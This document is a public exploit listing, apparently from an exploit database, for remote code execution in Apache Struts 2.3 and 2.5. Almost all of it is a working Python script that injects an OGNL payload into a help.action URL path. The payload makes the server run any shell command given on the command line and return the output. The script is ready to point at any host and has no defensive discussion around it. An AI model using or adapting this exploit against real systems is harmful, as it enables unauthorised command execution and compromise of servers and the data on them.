Apache Struts 2.3 < 2.3.34 / 2.5 < 2.5.16 - Remote Code Execution (2)
#!/usr/bin/python # -*- coding: utf-8 -*- # hook-s3c (github.com/hook-s3c), @hook_s3c on twitter import sys import urllib import urllib2 import httplib def exploit(host,cmd): print "[Execute]: {}".format(cmd) ognl_payload = "${" ognl_payload += "(#_memberAccess['allowStaticMethodAccess']=true)." ognl_payload += "(#cmd='{}').".format(cmd) ognl_payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." ognl_payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd}))." ognl_payload += "(#p=new java.lang.ProcessBuilder(#cmds))." ognl_payload += "(#p.redirectErrorStream(true))." ognl_payload += "(#process=#p.start())." ognl_payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." ognl_payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." ognl_payload += "(#ros.flush())" ognl_payload += "}" if not ":" in host: host = "{}:8080".format(host) # encode the payload ognl_payload_encoded = urllib.quote_plus(ognl_payload) # further encoding url = "http://{}/{}/help.action".format(host, ognl_payload_encoded.replace("+","%20").replace(" ", "%20").replace("%2F","/")) print "[Url]: {}\n\n\n".format(url) try: request = urllib2.Request(url) response = urllib2.urlopen(request).read() except httplib.IncompleteRead, e: response = e.partial print response if len(sys.argv) < 3: sys.exit('Usage: %s <host:port> <cmd>' % sys.argv[0]) else: exploit(sys.argv[1],sys.argv[2]) |